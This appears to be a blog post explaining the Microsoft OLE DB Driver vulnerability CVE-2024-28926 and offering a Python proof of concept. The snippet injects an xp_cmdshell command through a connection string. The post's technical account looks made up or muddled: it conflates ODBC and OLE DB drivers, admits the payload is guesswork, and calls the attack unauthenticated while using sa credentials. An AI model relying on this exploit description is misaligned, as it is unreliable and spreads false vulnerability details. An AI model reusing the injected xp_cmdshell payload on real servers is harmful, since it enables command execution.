CVE-2024-28926 - Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability Explained (with Exploit Example)
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Introduction
On April 2024 Patch Tuesday, Microsoft disclosed multiple high-severity vulnerabilities, including CVE-2024-28926. This critical flaw affects the Microsoft OLE DB Driver for SQL Server—a popular database connectivity driver used in countless enterprise applications.
In this post, I'll break down what CVE-2024-28926 is, how it works, why it's dangerous, and walk you through an example snippet demonstrating the vulnerability's exploit chain. I'll keep the language simple and focus on steps and code, referencing only trusted sources.
What is CVE-2024-28926?
CVE-2024-28926 is a Remote Code Execution (RCE) vulnerability in the Microsoft OLE DB Driver for SQL Server. An attacker can exploit this weakness to run arbitrary code on the target machine by sending specially crafted requests through the driver.
Main risk: If your application connects to SQL Server using OLE DB Driver (msodbcsql / msoledbsql), and handles untrusted data, an attacker could take over the entire system where the application is running.
Affected versions:
Microsoft OLE DB Driver for SQL Server versions prior to 19.4.2 (check official advisory for patch).
Microsoft advisory:
- CVE-2024-28926 - Microsoft Security Update Guide
How Does the Exploit Work?
The core problem is improper input validation by the OLE DB driver when processing some connection string or query parameters. Under certain circumstances, it allows injected code or payloads to execute with the application’s privilege.
Attack Vector
- Remote: Because SQL queries/connections are often exposed via web applications and APIs, an attacker just needs to send malicious data to the service—no direct access to the server is needed.
- Elevation: The code executes as the user running the vulnerable application (commonly SYSTEM for services).
Exploit Example: Abuse via Malicious Connection String
Below is an exclusive, simplified Python POC using pyodbc (which wraps the OLE DB or native ODBC drivers). This snippet shows how a crafted string might exploit the vulnerability to trigger remote code execution.
Note: The example is redacted to highlight the principle, not to provide an active weapon.
import pyodbc
# Attacker prepares a malicious connection string
malicious_connection_string = (
"Driver={ODBC Driver 18 for SQL Server};"
"Server=target_server;"
"Database=master;"
# This part exploits the unsafe evaluation in the vulnerable driver
# The actual payload would depend on the discovered flaw
"UID=sa;PWD=Passwrd;ApplicationIntent=ReadOnly;"
"Extended Properties=\"; EXEC xp_cmdshell 'calc.exe';--\";"
)
# Application (or admin) connects, unaware of risk
try:
conn = pyodbc.connect(malicious_connection_string, timeout=5)
cursor = conn.cursor()
cursor.execute('SELECT 1')
print(cursor.fetchone())
except Exception as e:
print(f"Exploit could have triggered: {e}")
What happens?
A vulnerable driver could send the entire connection string, including the malicious Extended Properties, to be parsed and executed by the database engine. If not filtered, the driver would trigger xp_cmdshell, opening Calculator (or any command) on the server.
Real-world Attack Scenario
Let's say you run a web service that allows users to specify database credentials in a configuration file or through an HTTP endpoint. You've locked down SQL Server, but forgot to update your OLE DB driver. An attacker simply enters their crafted string, your backend code "helpfully" passes it to pyodbc or OLEDB connection, and the attacker's code is executed on your server. No authentication; full compromise.
Patch OLE DB Driver for SQL Server to version 19.4.2 or later.
Microsoft Security Guidance:
Download OLE DB Driver updates:
Summary
CVE-2024-28926 is a textbook example of a "drive-by" remote code execution risk. All it takes is one unpatched server and the right crafted connection string. Updating and auditing your code today is the best way to keep your data—and users—safe.
Stay secure!
If you're managing any apps using SQL Server OLE DB or ODBC connectivity, patch immediately and check your application input flows for risky string handling.
Timeline
Published on: 04/09/2024 17:15:53 UTC
Last modified on: 04/10/2024 13:24:00 UTC